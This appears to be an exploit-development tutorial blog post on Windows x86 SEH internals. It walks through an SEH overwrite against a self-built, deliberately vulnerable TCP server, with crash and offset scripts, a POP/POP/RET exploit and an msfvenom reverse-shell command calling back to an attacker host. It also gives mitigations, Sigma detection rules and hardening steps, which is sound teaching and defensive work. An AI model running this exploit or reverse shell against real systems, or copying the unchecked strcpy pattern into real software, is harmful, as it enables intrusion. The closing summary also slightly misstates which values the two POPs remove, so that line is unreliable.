Structured Exception Handler (SEH) Internals on Windows

By Debraj Basak·Jun 21, 2026 · Updated Jun 22, 2026·14 min readExploit Development

You’ve got a stack overflow in a network service, but EIP is zeroed out at dispatch time and the OS won’t let you point the handler at the stack. Classic SEH exploitation looks broken until you understand why the dispatcher pushes those two pointers — and how two POPs and a RET turn the OS’s own calling convention into your pivot. This tutorial tears SEH apart from the data structures up through a working exploit against a self-built vulnerable server, then shows you exactly what a defender sees when it fires.

Everything here is x86 only. On x64, exception handlers live in .pdata unwind tables baked into the PE, not on the stack — there’s no chain to corrupt. If you’re targeting WOW64 processes, the 32-bit SEH mechanics still apply.


1. Exception Handling Fundamentals

Windows exceptions come in two flavors: hardware (CPU traps — access violations 0xC0000005, divide-by-zero 0xC0000094, breakpoints 0x80000003) and software (raised explicitly via RaiseException() or a C++ throw). Both funnel through the same dispatch machinery.

MSVC exposes SEH through non-standard keywords:

__try {
    // guarded body
} __except(EXCEPTION_EXECUTE_HANDLER) {
    // handler — runs if filter returns 1
}

The __except filter expression returns one of three values:

ValueConstantMeaning
1EXCEPTION_EXECUTE_HANDLERExecute the handler block
0EXCEPTION_CONTINUE_SEARCHPass to next handler in chain
-1EXCEPTION_CONTINUE_EXECUTIONRe-execute faulting instruction

The dispatch model is two-pass: first pass walks the chain looking for a handler whose filter says “I’ll take it”; second pass unwinds frames via RtlUnwind, calling __finally blocks on the way up. If nobody claims the exception, kernel32!UnhandledExceptionFilter gets it — the familiar crash dialog.

VEH (Vectored Exception Handling) coexists with SEH but fires first. VEH handlers are registered globally via AddVectoredExceptionHandler() and checked before the per-thread SEH chain is walked. For exploitation purposes, we care about the per-thread chain on the stack.


2. The SEH Chain: Structures and Memory Layout

Every thread’s SEH chain starts at FS:[0] — the first field of _NT_TIB inside the Thread Environment Block (_TEB). That pointer references the head of a singly-linked list of 8-byte records:

typedef struct _EXCEPTION_REGISTRATION_RECORD {
    struct _EXCEPTION_REGISTRATION_RECORD *Next;   // 4 bytes — pointer to previous record
    PEXCEPTION_ROUTINE                     Handler; // 4 bytes — pointer to handler function
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

The chain terminates when Next == 0xFFFFFFFF. Because these records live on the stack and the stack grows downward, the most recent __try block’s record sits at the lowest address. In memory, Next (often called nSEH in exploit-dev shorthand) sits below Handler (called SEH) — this matters because a linear buffer overflow hits Next first, then Handler four bytes later.

The MSVC runtime actually pushes a larger structure for scope tracking:

typedef struct _EH4_EXCEPTION_REGISTRATION_RECORD {
    PVOID                        SavedESP;
    PEXCEPTION_POINTERS          ExceptionPointers;
    EXCEPTION_REGISTRATION_RECORD SubRecord;        // Next + Handler
    UINT_PTR                     EncodedScopeTable;
    ULONG                        TryLevel;
} EH4_EXCEPTION_REGISTRATION_RECORD;

The TryLevel field tracks which __try block is active; __except_handler4 (used when /GS is on) encodes the scope table pointer with a security cookie to detect tampering. When you compile with /GS-, the older __except_handler3 skips that check — which is why our lab target uses /GS-.

Inspecting the Chain Live

In WinDbg attached to a 32-bit process:

0:000> !teb
TEB at 7ffde000
    ExceptionList:    0019ff64     ← head of SEH chain

0:000> !exchain
0019ff64: ntdll!_except_handler4+0 (77a1d040)
0019ffcc: ntdll!FinalExceptionHandlerPad54+0 (77a4e477)

0:000> dt _EXCEPTION_REGISTRATION_RECORD 0019ff64
   +0x000 Next    : 0x0019ffcc
   +0x004 Handler : 0x77a1d040

That FinalExceptionHandlerPad entry near 0xFFFFFFFF is the system’s tail handler — the last resort before UnhandledExceptionFilter.


Diagram showing the Windows SEH chain linked from TEB [FS:[0]](https://genxcyber.com/threads-and-the-teb-thread-environment-block/) through stack-resident EXCEPTION_REGISTRATION_RECORD structures to the terminal OS handler at 0xFFFFFFFF
The SEH chain is a singly-linked list of 8-byte records on the stack, rooted at FS:[0] in the TEB and terminated at 0xFFFFFFFF.

3. Dispatch Internals: From Fault to Handler

When a hardware exception fires, the kernel’s nt!KiDispatchException builds an _EXCEPTION_RECORD and an _CONTEXT snapshot, then delivers it to user mode:

nt!KiDispatchException (kernel)
  → ntdll!KiUserExceptionDispatcher (first user-mode function called)
    → ntdll!RtlDispatchException
      → walks _EXCEPTION_REGISTRATION_RECORD chain
        → calls each Handler with four arguments:
            ExceptionRecord, EstablisherFrame, ContextRecord, DispatcherContext

The handler signature every Handler pointer must match:

EXCEPTION_DISPOSITION NTAPI EXCEPTION_ROUTINE(
    struct _EXCEPTION_RECORD *ExceptionRecord,   // what happened
    PVOID                     EstablisherFrame,   // pointer to this SEH record on stack
    struct _CONTEXT           *ContextRecord,     // full CPU state snapshot
    PVOID                     DispatcherContext    // internal use
);

Note that the value the handler returns is an EXCEPTION_DISPOSITION, a different enum from the __except filter constants in Section 1. Its values are ExceptionContinueExecution = 0, ExceptionContinueSearch = 1 (the common case — keep walking to the next record in the chain), ExceptionNestedException = 2, and ExceptionCollidedUnwind = 3. Don’t confuse these handler-return codes with the filter-return constants (EXCEPTION_EXECUTE_HANDLER, EXCEPTION_CONTINUE_SEARCH, EXCEPTION_CONTINUE_EXECUTION).

The EstablisherFrame argument is critical for exploitation — it’s a pointer to the _EXCEPTION_REGISTRATION_RECORD that’s being invoked. The OS passes it as the second argument, so at handler entry it sits at ESP+08 — above the dispatcher’s return address (ESP+00) and the ExceptionRecord pointer (ESP+04). Remember this.


4. Why Vanilla Overwrites Fail — and How POP/POP/RET Fixes It

Here’s where I burned most of my first afternoon with SEH exploitation, so let me save you the confusion.

You overflow a stack buffer, overwrite Handler with the address of your shellcode sitting further up the stack. The OS dispatches the exception, calls your “handler”… and it crashes in a completely different place. Two problems:

  1. Register zeroing. Windows clears general-purpose registers before calling the handler. You can’t rely on EAX, ECX, etc. pointing anywhere useful.

  2. Stack residency check. RtlDispatchException validates that the handler address does not fall within the thread’s stack range. Pointing Handler directly at stack shellcode gets rejected.

But the OS is about to hand you execution at a code address you control — if that address is in a loaded module (not the stack), it passes the check. And here’s the key insight: look at the stack layout when the handler is called:

ESP+00 → dispatcher return address
ESP+04 → pointer to ExceptionRecord
ESP+08 → pointer to EstablisherFrame (= address of the nSEH/SEH record on stack)
ESP+0C → pointer to ContextRecord

The key observation: EstablisherFrame at ESP+08 points back to the _EXCEPTION_REGISTRATION_RECORD we just overwrote. That’s our nSEH field. If we execute:

pop reg    ; pops the dispatcher return address off the stack
pop reg    ; pops the ExceptionRecord pointer off the stack
ret        ; pops EstablisherFrame (the nSEH pointer) into EIP

After the two POPs, ESP points at what was originally ESP+08 — the EstablisherFrame pointer. RET then pops that value into EIP. Because EstablisherFrame is the address of our overwritten _EXCEPTION_REGISTRATION_RECORD, that value is the address of our nSEH field. So POP/POP/RET deterministically lands execution on the nSEH bytes we control — there’s nothing empirical or hand-wavy about it; it falls straight out of the handler calling convention. Set a breakpoint on the gadget and watch ESP — after POP/POP, the top of stack holds the address of nSEH.

So we put a short jump (\xeb\x06) in the nSEH field. Execution lands there, jumps 6 bytes forward (past the 4-byte SEH field plus 2 bytes of NOP alignment), and hits our shellcode.


Flow diagram illustrating how a POP POP RET gadget clears the handler call arguments off the stack and redirects EIP to the attacker-controlled nSEH short jump, which then leaps into the [shellcode](https://genxcyber.com/x86-reverse-shell-shellcode-from-scratch/)
Two POPs drain the OS-pushed arguments, and RET pivots execution to the nSEH short jump — bypassing the stack-residency check by routing through a legitimate module address.

5. Lab Setup: Building the Vulnerable Target

The Vulnerable Server

// vuln_seh_server.c — intentionally vulnerable lab target
// Compile (MSVC x86 Developer Prompt):
//   cl /GS- /Od /Zi vuln_seh_server.c /link /SAFESEH:NO /DYNAMICBASE:NO /NXCOMPAT:NO ws2_32.lib
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void handle_client(SOCKET s) {
    char buf[512];
    char recv_buf[2048];
    int n = recv(s, recv_buf, sizeof(recv_buf) - 1, 0);
    if (n > 0) {
        recv_buf[n] = '\0';
        if (strncmp(recv_buf, "GMON ", 5) == 0) {
            __try {
                strcpy(buf, recv_buf + 5);   // no bounds check
                printf("[+] GMON data: %.40s...\n", buf);
            } __except (EXCEPTION_EXECUTE_HANDLER) {
                printf("[!] Exception in GMON handler\n");
            }
        }
    }
    closesocket(s);
}

int main(void) {
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    SOCKET srv = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in addr = { 0 };
    addr.sin_family = AF_INET;
    addr.sin_port = htons(9999);
    addr.sin_addr.s_addr = INADDR_ANY;
    bind(srv, (struct sockaddr *)&addr, sizeof(addr));
    listen(srv, 5);
    printf("[*] vuln_seh_server listening on TCP 9999\n");
    for (;;) {
        SOCKET c = accept(srv, NULL, NULL);
        handle_client(c);
    }
}

Compile flags explained:

FlagEffect
/GS-Disables stack cookies — no canary between locals and saved EBP
/OdNo optimizations — keeps stack layout predictable
/SAFESEH:NONo SEHandlerTable in PE — any address accepted as handler
/DYNAMICBASE:NOASLR disabled — module base is fixed across runs
/NXCOMPAT:NODEP opt-out — stack pages are executable

The __try/__except block guarantees an _EXCEPTION_REGISTRATION_RECORD sits on the stack above buf[512]. When strcpy overflows, it’ll reach that record.

If you want a separate non-SafeSEH DLL for gadget hunting (mirroring the classic essfunc.dll setup), compile a stub DLL the same way:

// labhelper.c — stub DLL, compile: cl /LD /GS- labhelper.c /link /SAFESEH:NO /DYNAMICBASE:NO
__declspec(dllexport) void helper_stub(void) { return; }

Load it in the server with LoadLibrary("labhelper.dll") before the listen loop.


6. Exploitation Walkthrough

Step 1 — Crash It

Send 2000 As and confirm the SEH chain is corrupted:

# crash_test.py
import socket

buf = b"GMON " + b"A" * 2000
s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()

Attach Immunity Debugger before sending. After the crash, press Alt+S to view the SEH chain — you’ll see 41414141 in both nSEH and SEH. The overflow reaches the exception record.

Step 2 — Find the Exact Offset

msf-pattern_create -l 2000 > pattern.txt

Send the pattern instead of As. Read the nSEH and SEH values from Immunity’s SEH chain view. Suppose nSEH shows 41386941 and SEH shows 35694134:

msf-pattern_offset -l 2000 -q 41386941
# → Exact match at offset 524

msf-pattern_offset -l 2000 -q 35694134
# → Exact match at offset 528   (524 + 4, as expected)

Confirm with !mona findmsp in Immunity — it reports the SEH overwrite offset directly.

Step 3 — Validate Control

# validate.py
import socket

offset = 524
buf  = b"GMON "
buf += b"A" * offset        # junk to reach nSEH
buf += b"BBBB"              # nSEH → should show 42424242
buf += b"CCCC"              # SEH  → should show 43434343
buf += b"D" * 500           # trailing space for shellcode

s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(buf)
s.close()

Alt+S in Immunity: nSEH = 42424242, SEH = 43434343. Perfect control.

Step 4 — Locate a POP/POP/RET Gadget

!mona modules

Identify modules where SafeSEH, ASLR, and Rebase are all False — your compiled server and labhelper.dll should qualify. Then:

!mona seh -cp nonull -o

This searches for POP r32 / POP r32 / RET sequences in non-SafeSEH, non-ASLR modules, excluding addresses containing null bytes. Pick one — say 0x10101058 from labhelper.dll (POP ESI / POP EBX / RET).

Step 5 — Build the Payload

Generate shellcode — a reverse shell back to your attack box:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 \
         -b "\x00" -f python --var-name shellcode

The final exploit layout:

[GMON ][A × 524][nSEH: \xeb\x06\x90\x90][SEH: gadget addr][NOP sled][shellcode]
# exploit_seh.py — full PoC against vuln_seh_server (lab target)
import socket, struct

# Replace with your msfvenom output
shellcode = (
    b"\xba\x2e\xc0\xb1\xd8\xdb\xd0\xd9\x74\x24\xf4\x5e"
    # ... (truncated — paste full msfvenom output here)
)

offset = 524
nseh   = b"\xeb\x06\x90\x90"                # JMP SHORT +6 over SEH field, 2 NOPs
seh    = struct.pack("<I", 0x10101058)        # POP ESI / POP EBX / RET in labhelper.dll
nops   = b"\x90" * 16

payload  = b"GMON "
payload += b"A" * offset
payload += nseh
payload += seh
payload += nops
payload += shellcode

s = socket.socket()
s.connect(("127.0.0.1", 9999))
s.send(payload)
s.close()
print("[*] Payload sent — check your listener")

Start your listener (nc -lvp 4444 or msfconsole with exploit/multi/handler), fire the exploit, and catch the shell.

Execution Flow Recap

  1. strcpy overflows past buf[512], corrupts the _EXCEPTION_REGISTRATION_RECORD.
  2. Continued memory corruption triggers an access violation — new exception raised.
  3. KiUserExceptionDispatcherRtlDispatchException finds our overwritten Handler.
  4. Handler address (0x10101058) is inside labhelper.dll — passes the stack-residency check.
  5. POP ESI / POP EBX / RET executes. After two POPs, RET lands on the nSEH address.
  6. \xeb\x06 (short jump forward 6 bytes) in nSEH hops over the 4-byte SEH field into the NOP sled.
  7. Shellcode executes. Reverse shell connects to attacker.

7. Mitigations Deep-Dive

This is why the lab target had every protection disabled. In the real world, you’d face multiple overlapping defenses:

SafeSEH — The /SAFESEH linker flag embeds a SEHandlerTable in the PE’s IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG. At dispatch time, ntdll!RtlIsValidHandler checks the proposed handler against this table. If the handler falls within a SafeSEH-compiled module and isn’t in the table, it’s rejected. The classic bypass: find your POP/POP/RET gadget in a loaded module that wasn’t compiled with /SAFESEH — one forgotten third-party DLL is enough. SafeSEH is a 32-bit-only mechanism; 64-bit Windows uses table-based unwinding and never stores handlers on the stack.

SEHOP — Structured Exception Handler Overwrite Protection validates chain integrity before dispatching. The OS inserts a sentinel record at the chain tail and walks the entire chain at exception time to verify it terminates correctly. Since Next sits before Handler in memory, any overflow that corrupts Handler also corrupts Next, breaking the chain and failing SEHOP’s walk. Enable system-wide via:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation → DWORD 0

The combination of SEHOP with ASLR is what makes SEH overwrites genuinely difficult — even if you bypass the chain check, you can’t predict the gadget address.

DEP / NX — Stack pages marked non-executable. Our short-jump-to-shellcode payload faults immediately. Defeating DEP requires a ROP chain to call VirtualProtect() or VirtualAlloc() before executing shellcode — a significant increase in complexity.

/GS Stack Cookie — This one trips people up. The cookie check runs in the function epilogue, before RET. But an SEH overflow doesn’t need the function to return — the exception fires mid-function, before the cookie check ever runs. /GS does not protect against SEH overwrites. That’s precisely why /SAFESEH and SEHOP exist as separate mitigations.


Hierarchy diagram showing four Windows SEH exploit mitigations — SafeSEH, SEHOP, ASLR, and DEP — each independently blocking an SEH overwrite attempt
SafeSEH and SEHOP target the handler validation and chain integrity respectively, while ASLR and DEP eliminate reliable gadget addresses and executable stack pages.

8. Detection & Defense

Sysmon Events

Event IDNameWhat to Watch For
1Process Createcmd.exe or powershell.exe spawned as child of vuln_seh_server.exe
3Network ConnectionOutbound TCP from server process to unusual port (4444, etc.)
7Image LoadedUnsigned DLL loaded into server process (Signed: false)
10Process AccessCross-process handle opens if exploit stages injection

Sigma Rule

title: Reverse Shell from Network Service via SEH Exploit
status: experimental
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\vuln_seh_server.exe'
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
  condition: selection
fields:
  - CommandLine
  - ParentImage
  - User
falsepositives:
  - Legitimate admin maintenance scripts
level: high

A second rule for the network callback:

title: Outbound Connection from Exploited Service
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 3
    Initiated: 'true'
    Image|endswith: '\vuln_seh_server.exe'
    DestinationPort:
      - 4444
      - 4443
      - 1337
  condition: selection
level: critical

Hardening Checklist

  • Enable SEHOP via the registry key above — costs nothing, blocks vanilla SEH overwrites.
  • Compile everything with /SAFESEH, /GS, /DYNAMICBASE, /NXCOMPAT, /guard:cf.
  • Use Set-ProcessMitigation -Name vuln_seh_server.exe -Enable SEHOP,DEP,ForceRelocateImages for per-app enforcement via Exploit Guard.
  • Audit with Event ID 4688 (Audit Process Creation → Success) to capture command lines of child processes.
  • Run network services under least-privilege accounts; enforce AppLocker/WDAC to block cmd.exe spawning from service paths.

9. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Exploitation of Remote ServicesT1210Sysmon Event 3 (network), Event 1 (child process)
Exploitation for Client ExecutionT1203Application crash logs (WER Event 1000/1001), Sysmon Event 1
Exploitation for Privilege EscalationT1068Unexpected SYSTEM-context child process from service
Windows Command ShellT1059.003Sysmon Event 1 — cmd.exe spawned by network service
Process Injection (second stage)T1055Sysmon Event 10 (ProcessAccess), Event 8 (CreateRemoteThread)
Impair Defenses: Disable or Modify ToolsT1562.001Registry modification of DisableExceptionChainValidation — Sysmon Event 13

MITRE ATT&CK does not have a dedicated sub-technique for SEH overwrites specifically — T1210 and T1203 are the closest Enterprise mappings.


10. Tools

ToolPurposeLink
Immunity Debugger + mona.pySEH chain inspection, gadget search (!mona seh)immunityinc.com / github.com/corelan/mona
x64dbg (x32dbg)Alternative debugger with SEH chain tabx64dbg.com
WinDbg!exchain, !teb, dt _EXCEPTION_REGISTRATION_RECORDmicrosoft.com
BoofuzzNetwork protocol fuzzinggithub.com/jtpereyda/boofuzz
Metasploit (pattern_create/pattern_offset)Cyclic pattern offset calculationmetasploit.com
msfvenomShellcode generation with bad-char exclusionmetasploit.com
ROPgadgetPOP/POP/RET and ROP gadget searchgithub.com/JonathanSalwan/ROPgadget
Process HackerRuntime module and thread inspectionprocesshacker.sourceforge.io
SysmonEndpoint telemetry for detectiondocs.microsoft.com

Summary

  • SEH records are 8-byte structures on the x86 stack — a Next pointer and a Handler pointer, chained from FS:[0] through the Thread Environment Block. The chain is the OS’s mechanism for structured exception dispatch, and its stack residency is exactly what makes it an exploitation target.
  • POP/POP/RET is not magic — it’s a direct consequence of the handler calling convention. The OS pushes ExceptionRecord and EstablisherFrame before calling the handler; two POPs clear them, and RET pivots execution to the nSEH address you control.
  • /GS stack cookies do not protect SEH — the cookie check runs at function return, but the exception fires mid-function. SafeSEH and SEHOP exist specifically to fill this gap.
  • SEHOP + ASLR together are the effective kill — SEHOP breaks the chain walk, ASLR randomizes gadget addresses. Enable SEHOP system-wide via the DisableExceptionChainValidation registry key; it’s disabled by default on some client SKUs.
  • Detect the aftermath — Sysmon Events 1 and 3 catch the reverse shell spawning and calling home; Event 7 flags unsigned DLLs missing SafeSEH that made the gadget possible.

Related Tutorials

References

Get new drops in your inbox

Windows internals, exploit dev, and red-team write-ups — no spam, unsubscribe anytime.